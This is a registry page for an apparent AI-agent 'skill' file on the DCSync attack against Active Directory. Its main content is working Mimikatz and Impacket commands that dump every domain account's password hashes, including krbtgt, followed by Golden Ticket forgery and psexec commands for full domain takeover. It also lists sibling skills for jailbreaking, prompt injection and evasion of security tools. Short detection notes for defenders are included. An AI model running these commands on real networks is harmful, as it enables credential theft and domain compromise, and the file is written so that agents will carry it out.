dcsync
Skill5 starsChanged 5 months agoApache-2.0View on GitHub
DCSync attack methodology — replicate AD credentials from Domain Controllers without touching LSASS. Covers privilege requirements, execution, and credential extraction for all domain accounts including krbtgt.
In this repository33 other files it gives its agents.
- kerberoastingSkill
- pass-the-hashSkill
- jailbreakingSkill
- model-extractionSkill
- prompt-injectionSkill
- system-prompt-extractionSkill
- jwtSkill
- oauthSkill
- session-attacksSkill
- container-escapeSkill
- iam-privescSkill
- s3-enumSkill
- edr-evasionSkill
- initial-accessSkill
- embedding-attacksSkill
- rag-poisoningSkill
- mcp-context-injectionSkill
- mcp-rug-pullSkill
- mcp-tool-poisoningSkill
- osintSkill
- subdomain-enumSkill
- model-tamperingSkill
- cvss4-scoringSkill
- report-writingSkill
- graphqlSkill
- idorSkill
- rceSkill
- sqliSkill
- ssrfSkill
- sstiSkill
- waf-bypassSkill
- xssSkill
- xxeSkill
The file
Files
DCSync
Overview
DCSync abuses the Directory Replication Service (DRS) protocol to request password hashes from a Domain Controller as if the attacker's machine were another DC. No code runs on the DC; no LSASS dump needed.
Required permissions (any one of):
- Domain Admin / Enterprise Admin
- Replicating Directory Changes + Replicating Directory Changes All (delegated)
- Account Operators (in some configurations)
Execution
Mimikatz:
lsadump::dcsync /domain:domain.local /user:krbtgt
lsadump::dcsync /domain:domain.local /all /csvImpacket (Linux — remote):
impacket-secretsdump domain/admin:password@dc-ip -just-dc
impacket-secretsdump domain/admin:password@dc-ip -just-dc-ntlm
impacket-secretsdump domain/admin:password@dc-ip -just-dc-user krbtgtWith hash (no plaintext):
impacket-secretsdump -hashes :NTLM_HASH domain/admin@dc-ip -just-dcHigh-Value Targets
krbtgt → Golden Ticket creation (10-year TGT forgery)
Administrator → Direct domain admin access
MACHINE$ → Silver Ticket / Kerberos service attacksPost-DCSync — Golden Ticket
# Generate Golden Ticket with krbtgt hash
impacket-ticketer -nthash KRBTGT_HASH -domain-sid S-1-5-21-... -domain domain.local administrator
# Use ticket
export KRB5CCNAME=administrator.ccache
impacket-psexec -k -no-pass domain/administrator@dc-ipDetection Notes (for blue team context in report)
- DRS replication calls from non-DC hosts are highly anomalous
- Windows Event ID 4662 with Object Type = "domainDNS" and Access Mask including "Replicating Directory Changes"
- NetFlow anomalies on port 135/TCP (RPC endpoint mapping) from workstations to DC
MITRE ATT&CK
- T1003.006 — OS Credential Dumping: DCSync
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

